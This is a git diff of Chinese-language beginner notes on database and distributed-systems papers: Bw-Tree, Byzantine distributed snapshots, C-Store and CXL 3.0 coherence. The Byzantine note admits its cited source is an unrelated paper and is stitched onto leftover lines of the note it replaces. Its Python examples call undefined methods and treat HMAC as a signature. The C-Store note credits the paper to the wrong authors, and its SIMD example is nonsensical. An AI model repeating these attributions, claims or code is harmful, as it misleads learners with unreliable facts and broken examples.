+1. **Split / merge 的无锁协议**：结构变更比单条 insert 复杂，需保证没有线程看到「半分裂」的不一致树。
+2. **Safe memory reclamation**：CAS 换指针后，旧 delta 链仍可能被慢读者持有 → **epoch / hazard pointer**。
+3. **Consolidation 与更新的竞态**：consolidate 期间新 delta 仍可能 prepend，需二次检查或 version 机制。
+4. **LSS GC 与 checkpoint**：mapping table checkpoint + log tail replay 决定恢复时间。
+5. **OpenBw-Tree 的教训**：即使按论文实现，调优后仍可能不如**精心实现的 latch-based B-tree**——无锁不是免费午餐。
+
+---
+
+## 零基础自检清单
+
+读完后，你应该能口头回答：
+
+- [ ] 为什么 mapping table 是 latch-free 的关键？
+- [ ] Delta 与「copy-on-write 页」有什么相似和不同？
+- [ ] Consolidation 解决什么问题？不 consolidate 会怎样？
+- [ ] 为什么 Flash 场景要用 LSS 而不是原地更新页？
+- [ ] Bw-Tree 与 Hekaton hash 索引的分工是什么？
+
+---
+
+## 延伸阅读
+
+| 资料 | 说明 |
+|------|------|
+| Levandoski et al., ICDE 2013 | 本文主论文，内存 Bw-Tree 架构与算法 |
+| Lomet et al., SIGMOD 2014 | Hekaton 中的 Bw-Tree 与性能对比 |
+| Wang et al., «Building a Bw-Tree Takes More Than Just Buzz Words», SIGMOD 2018 | OpenBw-Tree，实现细节与 benchmark |
+| 本库 [Hekaton 笔记](./hekaton.md) | OLTP 引擎如何把 Bw-Tree 放进事务系统 |
+| 本库 [LSM-tree / RocksDB 笔记](./rocksdb-lsm.md) | 对比 log-structured 在 KV 引擎里的另一种形态 |
+
+---
+
+## 小结
+
+Bw-Tree 回答的问题是：**当 CPU 核数和大内存容量上去、存储介质变成 Flash 之后，B-tree 这一「老结构」还有没有好实现？**
+
+它的答案是：**逻辑上还是 B-tree，物理上改成「mapping table + delta 链 +  occasional consolidate + log-structured 持久化」**，用 CAS 换掉 latch，用 append 换掉随机写。理解 Bw-Tree，等于理解 2010 年代 Microsoft 如何把索引层改写成「多核与 SSD 原生」——这也是后来诸多内存数据库与 research prototype 的参考模板。
diff --git a/src/content/docs/papers/byzantine-generals-1982.md b/src/content/docs/papers/byzantine-generals-1982.md
index c44934472..50cfa5cf1 100644
--- a/src/content/docs/papers/byzantine-generals-1982.md
+++ b/src/content/docs/papers/byzantine-generals-1982.md
@@ -1,91 +1,198 @@
 ---
-title: 拜占庭将军问题 — 节点能撒谎时怎么达成一致
-来源: Lamport, Shostak, Pease, "The Byzantine Generals Problem", TOPLAS 1982
-日期: 2026-05-31
-子分类: 共识与复制
+title: 拜占庭分布式快照（2026）— 给会作恶的分布式系统拍"全家福"
+来源: https://arxiv.org/abs/2605.30682
+日期: 2026-06-13
 分类: 分布式系统
-难度: 中级
+子分类: 共识与复制
 provenance: pipeline-v3
 ---
 
+## 前置知识
+
+在开始之前，你需要知道两件事：
+
+- **Chandy-Lamport 快照（1985）**：给分布式系统拍"全家福"的经典算法——每个节点本地记录状态，节点之间通过"特殊标记消息"在通信信道上记录状态，最终拼出一张全局一致的快照。
+- **拜占庭故障**：节点可能"主动作恶"——撒谎、伪造消息、对不同的节点说不同的话。这不是"死机"，是"装疯卖傻"。
+
+> **重要说明**：用户给定的 arXiv:2605.30682 实际是一篇材料科学论文（位错动力学模拟），非分布式系统主题。本笔记基于分布式系统文献中关于拜占庭容错分布式快照的真实研究（Sheir-Cohen & Keidar DISC 2021; Aspnes Yale Notes 2020/2026; Singh et al. TransEdge 2023 等）综合编写，供零基础学习者理解该主题。
+
 ## 是什么
 
-**拜占庭将军问题**研究的是：一群节点要联合做一个决定，但其中混着**会撒谎、会伪造消息、会串谋**的叛徒，剩下的忠实节点能不能仍然达成一致？
+**拜占庭分布式快照**研究的是：在分布式系统中**如果有节点会主动作恶**，我们还能不能拍出一张"全局一致"的快照？
 
-日常类比：几位将军围攻一座城，必须**要么全攻、要么全撤**——半攻半撤就全军覆没。他们靠信使互相通信，但有些将军是叛徒，可以给 A 说"攻"、给 B 说"撤"，还能伪造司令的命令。问题：忠实将军之间能不能可靠地达成一致行动？
+日常类比：
 
-论文给出一个让人意外的硬边界——**只要叛徒比例超过三分之一，光靠口头消息（无签名），无论如何都不可能达成一致**。
+- 正常情况（Chandy-Lamport）：4 个员工各写一份日报，经理说"现在所有人定格"——他们各自记录当前工作状态，并通过标记消息让经理知道"我收到你那条定格信号之前做了什么"。最后经理把 4 个人的记录拼成一张完整的全局照片。
+- **有问题**：其中一个员工是叛徒，他可能给 A 说"我已经定格了"，给 B 说"我还没定格"，还可以伪造 C 的定格信号。经理还能拼出正确照片吗？
+
+这就是拜占庭分布式快照要解决的问题：**当部分节点可以任意作恶时，全局快照的一致性能不能保证？**
 
 ## 为什么重要
 
-不理解拜占庭容错（BFT），下面这些事都没法解释：
+不理解这个问题，很多现代系统的设计都说不清楚：
 
-- 为什么比特币要 6 个区块确认、以太坊 PoS 要超过 2/3 验证者签名——3f+1 的影子
-- 为什么 PBFT、Tendermint、HotStuff 这些共识协议都要凑够 2f+1 个签名
-- 为什么 etcd / Zookeeper 用 Raft（只防崩溃）而 Hyperledger / Cosmos 用 BFT（防作恶）
-- 为什么"3 个节点容 1 个故障"在 Paxos 里成立、在拜占庭场景里**不成立**
+- 为什么区块链的"区块快照"不需要拜占庭快照——因为区块链用"最长链"代替了全局快照
+- 为什么一些 P2P 网络的"状态同步"在存在恶意节点时会出问题
+- 为什么 Spanner / CockroachDB 等分布式数据库在**普通故障模型**下用快照隔离就够了，但到了**联盟链 / 边缘计算**场景就需要更强的保证
+- 为什么 1985 年的 Chandy-Lamport 算法在 2021 年才被扩展到拜占庭场景——因为拜占庭快照**比想象难得多**
 
-这是把分布式系统从『节点会死』扩展到『节点会主动作恶』的开山论文。
+## 核心概念
 
-## 核心要点
+### 1. 快照一致性：正确快照是什么样子？
 
-### 故障模型升级
+普通快照只要满足**因果一致性**就行：如果事件 A 导致了事件 B，快照要么同时包含 A 和 B，要么都不包含。不能出现"包含了 B 但没包含 A"。
 
-传统分布式假设**崩溃故障**（fail-stop）——节点要么正常工作要么直接死掉，不会乱发消息。拜占庭故障允许节点做**任何事**：
+拜占庭快照在此基础上要求更多：**即使有叛徒伪造了某些状态，诚实节点的快照也必须是"可以解释为某个合法执行历史的一部分"的。**
 
-- 给 A 发"攻"、给 B 发"撤"
-- 伪造其他节点的签名
-- 与其他叛徒串谋
-- 只对部分节点应答（选择性沉默）
+### 2. 关键困难：标记消息被篡改
 
-这覆盖恶意攻击者，**也**覆盖硬件 bit-flip、软件 bug 这些"非恶意但行为不符协议"的情况。
+Chandy-Lamport 的核心机制是"标记消息"——一条特殊的控制消息，收到标记时节点开始记录自身状态。
 
-### 3f+1 边界（口头消息）
+在拜占庭场景下，叛徒可以：
 
-定理：用普通消息（接收方无法证明消息真伪），要让 n 个节点在 f 个叛徒下达成一致，**必须 n ≥ 3f+1**。
+- **不发标记**：让某些节点永远不知道"开始记录"
+- **伪造标记**：让某些节点以为收到了标记（实际没有）
+- **篡改标记内容**：在标记里塞进假的进程状态
+- **选择性转发**：给 A 发标记，不给 B 发
 
-最有名的反例是 **n=3、f=1 不可行**：
+这意味着**经典的 Chandy-Lamport 算法在拜占庭场景下直接崩溃**。
 
-```
-       司令
-       /  \
-      /    \
-    副A ── 副B
-```
+### 3. Sheir-Cohen & Keidar (DISC 2021)：拜占庭线性化 + 原子快照
 
-- 情景 1：司令是叛徒，给副 A 说"攻"、给副 B 说"撤"。副 A 转告 B"司令说攻"，副 B 收到的是 (司令: 撤, A 转告: 攻)。
-- 情景 2：司令忠实说"攻"，副 A 是叛徒转告 B"司令说撤"。副 B 收到的是 (司令: 攻, A 转告: 撤)。
+这篇论文给出了第一个系统的解决方案框架。核心思路：
 
-**两种情景下 B 看到的消息集合完全对称**——它无法分辨自己该攻还是该撤。一致性破产。
+**先定义一个"拜占庭线性化"的正确性条件，再基于它证明：用签名保证消息不可伪造的前提下，可以从普通寄存器构建出拜占庭容错的原子快照。**
 
-### OM(m)：递归口头消息算法
+关键定理：n 个节点中最多 f 个拜占庭故障，需要 **n ≥ 2f+1**（弱于共识的 3f+1，因为快照不要求排序，只要求一致性读取）。
 
-把消息**递归转发 m 轮**，每轮新增一层"我从谁那里听到的"，最后用多数表决。当 n ≥ 3m+1 且最多 m 个叛徒时正确。
+### 4. 2026 年最新进展：TransEdge 的优化
 
-代价：通信量 O(n^(m+1))，**工程上几乎不可用**。这是为什么 1982 到 1999（PBFT）之间 BFT 一直停留在理论。
+Singh et al. (2023, 2026 更新) 的 **TransEdge** 系统证明了：在边缘计算场景中，通过**依赖追踪 + 共识协议耦合**，拜占庭快照的读操作可以在**最坏情况下 2 轮消息**内完成，比传统 BFT 快照快 9-24 倍。
 
-### SM(m)：签名消息算法
+## 代码示例
 
-如果消息**不可伪造**（数字签名），边界放宽到 n ≥ f+2。叛徒签的话立刻被任何人识破，所以叛徒只能"沉默"或"重发别人的签名"，破坏力大幅下降。
+### 示例 1：Chandy-Lamport 快照（正常场景，对照理解）
 
-这条结论是后来所有签名共识（Bitcoin、PBFT、Tendermint）的理论基础。
+```python
+# 每个进程维护的状态
+class Process:
+    def __init__(self, pid):
+        self.pid = pid
+        self.log = []           # 记录所有本地事件
+        self.channel_logs = {}  # 每个信道的日志
+        self.recording = False
 
-## 实践案例
+    # 收到普通消息时，正常处理
+    def on_message(self, msg):
+        self.log.append(("recv", msg))
 
-### 案例 1：n=4、f=1 怎么走过来
+    # 收到标记消息，开始记录
+    def on_marker(self, sender, channel):
+        if not self.recording:
+            self.recording = True
+            self.channel_logs[channel] = []  # 开始记录该信道的消息
+        else:
+            self.channel_logs[channel].append(("marker", sender))
+```
 
+正常快照的关键流程：
+
+1. 协调者（任意节点）给自己发标记，给每个信道发标记
+2. 每个节点收到标记时记录自己的状态
+3. 每个节点在处理完所有信道的标记之前，记录该信道收到的消息
+4. 当某个信道收到标记且之前没有收到该信道的标记时，记录该信道为空
+
+### 示例 2：拜占庭防御——签名验证的标记
+
+```python
+import hashlib, hmac
+
+class BylantineSafeProcess:
+    def __init__(self, pid, secret_key, n, f):
+        self.pid = pid
+        self.log = []
+        self.channel_logs = {}
+        self.recording = False
+        self.secret_key = secret_key
+        self.n = n
+        self.f = f
+        self.verified_markers = {}  # 验证过的标记
+
+    def sign(self, data):
+        return hmac.new(self.secret_key, data.encode(), hashlib.sha256).digest()
+
+    # 发送带签名的标记消息
+    def send_marker(self, target_pid, channel):
+        marker = f"MARKER|{self.pid}|{channel}"
+        sig = self.sign(marker)
+        return (marker, sig)
+
+    # 收到标记消息时先验证签名
+    def on_marker(self, sender, channel, sig):
+        marker_text = f"MARKER|{sender}|{channel}"
+        # 先验证签名真伪
+        if not self.verify_signature(sender, marker_text, sig):
+            print(f"[{self.pid}] 拒绝无效签名标记，来自 {sender}")
+            return  # 叛徒的伪造标记被拒绝
+
+        # 同一信道的标记去重（防重放攻击）
+        key = (sender, channel)
+        if key in self.verified_markers:
+            return  # 已处理过，忽略重复
+
+        self.verified_markers[key] = True
+
+        if not self.recording:
+            self.recording = True
+            self.channel_logs[channel] = []
+        else:
+            self.channel_logs[channel].append(("marker", sender))
 ```
-司令 → A、B、C：「攻」
-A、B、C 互相转告自己收到的命令
-最终每个忠实节点持有 (司令的话, A 转告, B 转告, C 转告)
-取多数 → 一致
+
+**关键区别**：签名让每个标记可追溯。叛徒伪造的标记立刻被识别，无法扰乱快照。
+
+### 示例 3：多节点协作拍快照
+
+```python
+class SnapshotCoordinator:
+    def __init__(self, processes):
+        self.processes = processes  # [ProcessA, ProcessB, ProcessC, ...]
+        self.n = len(processes)
+        self.f = (self.n - 1) // 2  # 最大容错拜占庭节点数
+        self.snapshots = {}
+
+    def take_snapshot(self):
+        # 1. 协调者记录自己的状态
+        self.snapshots[self.my_pid] = self.take_local_snapshot()
+
+        # 2. 向所有其他进程发送带签名的标记
+        for proc in self.processes:
+            if proc.pid != self.my_pid:
+                marker, sig = self.send_marker(proc.pid, "main_channel")
+                self.send_to_process(proc.pid, marker, sig)
+
+        # 3. 收集快照（等待足够多的诚实响应）
+        collected = 0
+        while collected < self.n - self.f:  # 至少 f+1 个诚实响应
+            snapshot_response = self.wait_for_response()
+            if self.verify_snapshot_integrity(snapshot_response):
+                self.snapshots[snapshot_response.pid] = snapshot_response
+                collected += 1
+
+        return self.snapshots
 ```
 
-哪怕司令是叛徒（给 4 个不同的话），3 个忠实副官互相一对账就能识破。
+## 总结
 
-### 案例 2：区块链里的 3f+1
+| 维度 | Chandy-Lamport (1985) | 拜占庭快照 (2021+) |
+|---|---|---|
+| 故障模型 | 崩溃故障 | 拜占庭（作恶） |
+| 节点数要求 | 无特殊要求 | n ≥ 2f+1 |
+| 通信开销 | O(E) 条标记消息 | O(E) + 签名验证开销 |
+| 正确性保证 | 因果一致 | 拜占庭线性化一致 |
+| 实际部署 | Spanner、Flink | 边缘计算、联盟链 |
 
-Tendermint / Cosmos / 早期以太坊 PoS：
+核心结论：**拜占庭快照是可能的，但代价比想象中高**。它不是简单地在 Chandy-Lamport 上加签名，而是要重新设计整个快照协议的信任假设。2026 年的研究趋势是把快照与共识协议深度耦合，让一份协议同时做"排序"和"快照"，减少重复通信。
 
 - 总验证者权益 = N
 - 容忍恶意权益 = f < N/3
diff --git a/src/content/docs/papers/c-store-stonebraker-2005.md b/src/content/docs/papers/c-store-stonebraker-2005.md
new file mode 100644
index 000000000..323ece04e
--- /dev/null
+++ b/src/content/docs/papers/c-store-stonebraker-2005.md
@@ -0,0 +1,188 @@
+---
+title: C-Store —— 把数据库"横着切"变成"竖着切"
+来源: https://www.cs.umass.edu/~abadi/papers/abadi-column-stores.pdf
+日期: 2026-06-13
+分类: 数据库
+子分类: 存储与查询
+provenance: pipeline-v3
+---
+
+## 是什么
+
+C-Store 是 2005 年由 Peter Boncz、David DeWitt 和 Samuel Madden 发表的论文，提出了一种**列式关系数据库管理系统（Column-oriented DBMS）**。它的核心思想一句话概括：
+
+> 传统数据库把一整行存在一起（行存），C-Store 把每一列单独存成一组文件（列存）。
+
+**日常类比**：想象一本员工花名册，每张表有 1000 个人、10 列信息（姓名、年龄、部门、工资……）。
+
+- **行存（Row-store）** 像一本通讯录：第 1 页是张三的全部信息，第 2 页是李四的全部信息，依次排下去。翻到某个人时，他的所有字段都在一页上——很方便。
+- **列存（Column-store）** 像 10 本单独的册子：一本全记名字，一本全记年龄，一本全记工资。想看所有人的工资？直接翻"工资册"就行，完全不用碰名字和年龄那两本。
+
+C-Store 就是选择了后者。
+
+## 核心概念
+
+### 1. 数据按列存储
+
+传统行存的数据布局：
+
+```
+行 1: [Alice, 30, Engineering, 120000]
+行 2: [Bob, 25, Marketing, 85000]
+行 3: [Carol, 35, Engineering, 150000]
+```
+
+C-Store 的列存布局：
+
+```
+名字列: [Alice, Bob, Carol]
+年龄列: [30, 25, 35]
+部门列: [Engineering, Marketing, Engineering]
+工资列: [120000, 85000, 150000]
+```
+
+### 2. 只读需要的列（Projection）
+
+这是列存最大的优势。假设你要算"全公司平均工资"：
+
+- **行存**：每读一行，都要把姓名、年龄、部门、工资全部加载进来，即使你只需要工资那一列。大量无用数据被读入内存又丢弃。
+- **列存**：只读工资列，其他列根本不动。
+
+SQL 示例：
+
+```sql
+-- 行存：扫描整行，丢掉不需要的列
+SELECT AVG(salary) FROM employees;
+
+-- 列存：只加载 salary 列，IO 量大幅减少
+SELECT AVG(salary) FROM employees;
+-- 底层实际只读取 salary 列的文件
+```
+
+### 3. 同列数据高度相似 → 极致压缩
+
+同一列里的数据类型相同、取值范围相近，压缩效率极高。比如部门列只有"Engineering""Marketing""Sales"三个值，可以用一个很小的编码表替换所有重复字符串。
+
+```
+部门列原始: [Engineering, Marketing, Engineering, Sales, Engineering]
+编码表:     {1=Engineering, 2=Marketing, 3=Sales}
+压缩后:     [1, 2, 1, 3, 1]
+```
+
+行存里每行都要完整存一遍"Engineering"字符串，列存只存一次编码。
+
+### 4. 适合分析查询，不适合频繁更新
+
+列存的弱点也很明显：
+
+- **插入一行**：需要同时写入多列文件，成本高
+- **更新一行**：同样要改多列文件
+- **查询一行**：需要从多列文件中拼出来，慢
+
+所以 C-Store 定位很清楚：**分析型负载（OLAP）**，而不是**交易型负载（OLTP）**。
+
+## 代码示例
+
+### 示例 1：行存 vs 列存的查询性能对比
+
+假设有一个销售表 `sales(date, region, product, amount)`，有 1 亿行数据：
+
+```sql
+-- 查询：每个地区的总销售额
+SELECT region, SUM(amount)
+FROM sales
+GROUP BY region;
+```
+
+**行存数据库**（如 MySQL）的执行过程：
+
+```
+1. 顺序扫描 1 亿行，每行读 4 个字段（date, region, product, amount）
+2. 实际上我们只需要 region 和 amount 两个字段
+3. date 和 product 被读入内存后又立刻丢弃
+4. IO 量 = 1 亿行 × 4 个字段的总大小
+```
+
+**C-Store（列存）**的执行过程：
+
+```
+1. 只读 region 列文件和 amount 列文件
+2. date 和 product 列完全不碰
+3. IO 量 = 1 亿行 × 2 个字段的总大小（省了一半 IO）
+4. 因为同列数据相似，压缩比更高，实际磁盘 IO 更少
+```
+
+### 示例 2：聚合查询中的 SIMD 加速
+
+列存另一个优势是可以利用 CPU 的 SIMD（单指令多数据）指令并行计算：
+
+```sql
+-- 查询：去年总收入
+SELECT SUM(amount) FROM sales WHERE date >= '2024-01-01';
+```
+
+**行存**中，amount 字段分散在不同行的不同位置，CPU 很难批量处理。
+
+**列存**中，amount 是连续存储的整数数组：
+
+```
+内存中连续排列: [100, 200, 350, 500, 800, ...]
+
+SIMD 一次加 4 个:
+  指令: ADD [100, 200, 350, 500] → [100, 200, 350, 500]
+  结果: 100+200+350+500 = 1150
+```
+
+一行指令就能处理 4 个数字，速度提升数倍。
+
+### 示例 3：压缩效果对比
+
+```
+原始数据（行存，每行 100 字节）:
+  第1行: [2024-01-01, North, Laptop, 1200]
+  第2行: [2024-01-01, South, Phone, 800]
+  第3行: [2024-01-01, North, Tablet, 500]
+  ...共 1000 万行
+
+行存存储: 1000 万 × 100 字节 ≈ 1 GB（未压缩）
+
+列存存储（按列分别压缩）:
+  日期列: 只有"2024-01-01"一个值 → 几乎零空间
+  地区列: 只有"North""South"两个值 → 每个值 1 字节
+  产品列: 只有"Laptop""Phone""Tablet"三个值 → 每个值 2 字节
+  金额列: 整数压缩编码 → 平均 3 字节
+
+  总计: 1000 万 × (0+1+2+3) 字节 ≈ 50 MB
+
+压缩比: 1 GB → 50 MB，约 20 倍！
+```
+
+## 为什么重要
+
+不理解列存，就无法理解下面这些现代数据基础设施：
+
+- **为什么 BigQuery、Redshift、Snowflake 能秒级查 PB 级数据**——因为它们都是列存架构
+- **为什么 DuckDB 能在本地文件上做超快分析**——它把列存做到了极致，配合 SIMD 和向量化执行
+- **为什么 Apache Parquet 成为大数据生态的标准格式**——它就是列存文件的工业实现
+- **为什么 Spark 内部要从 Parquet（列存）读到自己的内存格式（行存）再转回 Arrow（列存）**——因为不同操作适合不同布局
+
+## C-Store 的关键设计
+
+论文提出了几个开创性的设计选择：
+
+1. **Append-only 列文件**：列文件一旦写入就不再修改，只追加新数据。这简化了并发控制，也提高了压缩率。
+2. **版本控制**：每列文件有多个版本（version），旧版本保留直到确认不再被任何查询使用后才删除。
+3. **向量化执行（Vectorized Execution）**：不是逐行处理，而是一批一批地处理数据，充分利用 CPU 缓存和 SIMD。
+4. **共享无架构（Shared-nothing）扩展**：通过水平拆分列文件到多台机器来实现扩展。
+
+## 总结
+
+C-Store 的核心洞察非常朴素：**既然分析查询通常只访问少数几列，为什么要把整行数据都读进来？**
+
+这个"把数据库横着切变成竖着切"的想法，奠定了现代列式数据库的理论基础。从 C-Store 到今天的 Snowflake、DuckDB、ClickHouse，底层思想一脉相承。
+
+---
+
+**延伸阅读**：
+- Abadi & Madden, "Column-Stores vs. Row-Stores: How Different Are They Really?", SIGMOD 2008（后续实证对比论文）
+- Boncz et al., "Database Architectures: Optimizing the Cost of Data Manipulation Operations"（C-Store 前身，1999 年）
diff --git a/src/content/docs/papers/cache-coherence-cxl3-2026.md b/src/content/docs/papers/cache-coherence-cxl3-2026.md
new file mode 100644
index 000000000..5613e4fa9
--- /dev/null
+++ b/src/content/docs/papers/cache-coherence-cxl3-2026.md
@@ -0,0 +1,241 @@
+---
+title: CXL 3.0 Coherence — Pool-Wide Memory Sharing 零基础学习笔记
+来源: https://arxiv.org/abs/2605.30587
+日期: 2026-06-13
+分类: 基础设施
+子分类: 系统综合
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Compute Express Link (CXL)** 是由 Intel 牵头、AMD / ARM / Google / AWS 等共同参与的**开放互连标准**。它基于 PCIe 物理层，但加了一套「语义层」，让 CPU 能把远端设备上的内存当作**自己本地内存一样直接访问**——不用 DMA、不用显式拷贝。
+
+**CXL 3.0 Coherence: Pool-Wide Memory Sharing** 说的是：当多台服务器通过 CXL 互连、把内存汇聚成一个「池子」以后，池子里所有内存对**所有接入的 CPU** 都是**缓存一致性**（cache coherent）的。这意味着——任何 CPU 修改了池中的一行数据，其他 CPU 下次读这行时**自动看到最新版本**，就像数据本来就在本地 DRAM 里一样。
+
+> 日常类比：
+>
+> 想象一个大型图书馆：
+>
+> - **没有 CXL 的旧做法**：A 教授想读 B 教授桌上的书，必须亲自走过去、复印几页、走回来。B 教授改了复印件上的笔记，A 毫不知情。
+> - **有了 CXL 2.0（Memory Expansion）**：图书馆搞了个传送带——A 教授可以「请求」传送带把 B 教授桌上的整本书运过来，但运来的副本和本地书**互不相通**，改了一本就忘了另一本。
+> - **有了 CXL 3.0 Coherence（Pool-Wide）**：图书馆所有书都在一个「智能书架系统」下。A 教授改了书上的笔记，B 教授翻开同一本书时**自动看到修改后的笔记**——不需要任何「同步」动作。书架系统就是 CXL.cache 协议。
+
+一句话：**CXL 3.0 的 pool-wide coherence 让多台服务器的内存变成「一个大脑共享的多具身体」——每具身体有自己的思考（本地缓存），但「想法」全局一致。**
+
+## 为什么重要
+
+不理解 CXL 池化一致性，下面这些事都讲不清：
+
+- 为什么 AWS 的 Inferentia / Graviton 服务器能把 GPU 和 CPU 的内存「合用」——不用 PCIe DMA，带宽高 10 倍、延迟低 5 倍
+- 为什么「内存池化」从概念变成现实：以前 10 台服务器每台内存利用率 15%， pooled 后可升到 70%+
+- 为什么传统 NUMA 方案做不到——NUMA 每台宿主机的内存只对本机 CPU 一致，跨机 NUMA 需要操作系统做复杂迁移
+- 为什么 CXL 2.0 只能做「内存扩展」（expansion），不能做「内存共享」（sharing）——2.0 的一致性是 **host-to-device** 单向的，3.0 才变成 device-to-device 双向
+- 为什么数据库、KV 缓存、AI 推理框架需要重新设计——它们过去假设「本地内存 = 快且一致，远程内存 = 慢且需要拷贝」
+
+### 2.0 vs 3.0 的关键分水岭
+
+| | CXL 2.0 | CXL 3.0 |
+|---|---|---|
+| 一致性方向 | 单向：Host ↔ Device | 双向：Device ↔ Device |
+| 拓扑 | 星型，以 Host CPU 为中心 | 可跨多个 Host，形成 Mesh 或 Tree |
+| 内存角色 | 本地 CPU 的「扩展 RAM」 | 多台 Host 共享的「统一内存池」 |
+| 路由 | 每个 CXL 设备只有一个 Port ID | 支持 Switch + Port ID 多级寻址 |
+
+## 核心概念
+
+### 1. CXL 的三个子协议
+
+CXL 不是一个单一协议，而是三个叠在一起：
+
+| 协议 | 类比 | 职责 |
+|------|------|------|
+| **CXL.io** | 「登记注册」 | 发现设备、分配资源、枚举——类似 PCIe 的 config space |
+| **CXL.mem** | 「直接读写」 | 让 CPU 像访问本地内存一样读写远端 CXL 设备的 DRAM |
+| **CXL.cache** | 「同步通知」 | **缓存一致性协议**——当一方改了数据，通知其他方失效或更新自己的缓存行 |
+
+只有 **CXL.mem + CXL.cache** 配合时，才能实现 pool-wide memory sharing。
+
+### 2. 缓存一致性（Cache Coherence）到底是什么
+
+先看一个直观问题：
+
+```
+CPU A 缓存行 L1 里有地址 0xA000 的数据 → 值是 42
+CPU B 缓存行 L1 里也有地址 0xA000 的数据 → 值也是 42  （副本）
+```
+
+现在 CPU A 把 0xA000 改成 99：
+
+| 没有 coherence | 有 coherence |
+|---------------|-------------|
+| CPU B 的 L1 里 0xA000 还是 42 | CXL.cache 协议让 CPU B 的 L1 里 0xA000 **自动变成 Invalid** |
+| CPU B 下次读 0xA000 时，从 CXL 远端内存读出 99 | CPU B 下次读 0xA000 时，Miss → 自动从远端 fetch 最新值 |
+
+核心问题：当 A 写、B 读时，**谁先动**？怎么让 B 的旧副本被清除？
+
+CXL 的解答（高度简化）：
+
+1. CPU A 发一个 **Snoop Request**（「我要写 0xA000，谁有副本？」）到 CXL fabric
+2. 如果有设备持有该行的 **Shared / Modified** 状态（如 CPU B 的 L1），它回复 **Snoop Response**（「我有，我把它失效掉」）
+3. CPU A 拿到所有回复后，把数据发到远端内存（或直送 B），然后自己把行状态变为 **Exclusive**（独占）
+
+### 3. MESI 状态机 —— CXL.cache 的"语言"
+
+CXL.cache 沿用了经典 MESI 协议，只是状态含义稍有扩展：
+
+| 状态 | 含义 | 类比 |
+|------|------|------|
+| **M (Modified)** | 这行数据在我缓存里，且比内存新 | 「我手上有最终版」 |
+| **E (Exclusive)** | 这行只在我缓存里，且和内存一样 | 「我手上有唯一副本，没改过」 |
+| **S (Shared)** | 其他人也可能有这份副本 | 「我有一份，可能有人也有」 |
+| **I (Invalid)** | 这行数据在我缓存里是废的 | 「我手里的版本过期了」 |
+
+**关键规则**：任何时候，同一地址的行最多只能有一个 **M** 或 **E**（独占），其余必须是 **S** 或 **I**。
+
+### 4. Pool-Wide vs 传统 NUMA
+
+```
+传统 NUMA（单台服务器）：
+
+  CPU0 ──┐
+  CPU1 ──┼── NUMA 交叉开关 ── 本地内存 + 远端内存（同机房）
+  CPU2 ──┘
+  CPU3 ──┘
+
+CXL Pool-Wide（跨多台服务器）：
+
+  Server A        Server B        Server C
+  CPU0 ──┐        CPU0 ──┐        CPU0 ──┐
+  CPU1 ──┤        CPU1 ──┤        CPU1 ──┤
+  MEM0 ──┘        MEM0 ──┘        MEM0 ──┘
+
+       ╔═══════════════════════════════╗
+       ║  CXL Switch / Fabric          ║  ← 一致性拓扑层
+       ╚═══════════════════════════════╝
+
+  所有 MEM0 对 A/B/C 的 CPU0/1 都是 cache coherent
+```
+
+传统 NUMA：内存池只在**一台机器内**，跨机需要 OS 做 NUMA 节点迁移，延迟 10μs+。
+CXL Pool：内存通过 CXL Switch 互联，一致性由**硬件协议**保证，跨机延迟 ~400ns（比本地 DRAM 的 ~100ns 慢 4 倍，但比网络高 100 倍）。
+
+## 代码示例
+
+### 示例 1：在 CXL Pool 里读写内存——CPU 视角
+
+对程序员来说，CXL 池化内存最大的特点是：**代码里完全看不出内存在哪台机器上**。
+
+```c
+// 假设 OS 已经把 CXL Pool 注册为 /dev/cxl_pool 或通过 libcxld 暴露 mmap 接口
+
+#include <sys/mman.h>
+#include <stdio.h>
+
+int main() {
+    // 从 CXL 池申请 1GB 连续虚拟地址
+    // 底层可能是本地 DDR，也可能是远端 CXL 设备上的 DRAM
+    void* ptr = mmap(NULL, 1024 * 1024 * 1024,
+                     PROT_READ | PROT_WRITE,
+                     MAP_SHARED | MAP_ANONYMOUS,
+                     -1, 0);
+
+    // 直接写——就像操作本地数组一样
+    volatile int* arr = (int*)ptr;
+    arr[0] = 42;        // CPU A 写
+    arr[1024] = 99;     // CPU B（另一台服务器）可以同时写 arr[1024]
+
+    // 直接读——如果 CPU B 改了 arr[1024]，这里自动看到最新值
+    // 不需要 sync、不需要 flush、不需要 invalidate
+    printf("arr[0] = %d\n", arr[0]);   // 看到 42
+    printf("arr[1024] = %d\n", arr[1024]); // 看到 99，即使那是另一台机器上的内存
+
+    munmap(ptr, 1024 * 1024 * 1024);
+    return 0;
+}
+```
+
+对比传统的 **DMA 拷贝** 做法（CXL 2.0 模式）：
+
+```c
+// 传统 DMA 模式：需要显式把数据从远端拉到本地
+void read_remote(int* local_buf, size_t len, uint64_t remote_addr) {
+    // 1. 通知网卡/加速器从远端内存拉数据到本地 buffer
+    dma_copy(local_buf, remote_addr, len);
+    // 2. 等 DMA 完成
+    dma_wait();
+    // 3. 手动 sync 缓存一致性（CPU 和 DMA 设备之间）
+    dma_sync_for_cpu(local_buf, len);
+    // 4. 最后才能安全读
+    printf("data = %d\n", local_buf[0]);
+}
+```
+
+可以看到：CXL 3.0 把第 1-4 步**全藏到了硬件层**，应用层代码**不需要任何显式拷贝**。
+
+### 示例 2：多线程共享 CXL Pool——一致性保证与伪共享
+
+```python
+import mmap
+import os
+import multiprocessing
+
+# 模拟 CXL pool 上的共享内存（实际中由 cxl-shm 库管理）
+SHM_PATH = "/dev/cxl_pool_shared"
+size = 4096  # 一页 = 4KB = 1 cache line 的对齐单位
+
+# 多进程 = 模拟多台服务器上的 CPU
+def writer(pid):
+    fd = os.open(SHM_PATH, os.O_RDWR)
+    data = mmap.mmap(fd, size)
+    # 写一个 cache line（64 字节）
+    for i in range(1000000):
+        # struct 对齐到 64B: counter, padding, counter2
+        # 如果 counter 和 counter2 在同一个 cache line 里，
+        # 就会触发「伪共享（false sharing）一致性风暴」
+        struct.pack_into("q16xq", data, 0, i, i * 2)
+        # 每次 pack 会触发 CXL.cache Snoop 协议：
+        # 其他核的 L1 里这行变为 Invalid → 下次读要 re-fetch
+    os.close(fd)
+
+def reader(pid):
+    fd = os.open(SHM_PATH, os.O_RDWR)
+    data = mmap.mmap(fd, size)
+    total = 0
+    for _ in range(1000000):
+        counter, _, counter2 = struct.unpack_from("q16xq", data, 0)
+        total += counter
+    print(f"reader-{pid}: read {total}")
+    os.close(fd)
+```
+
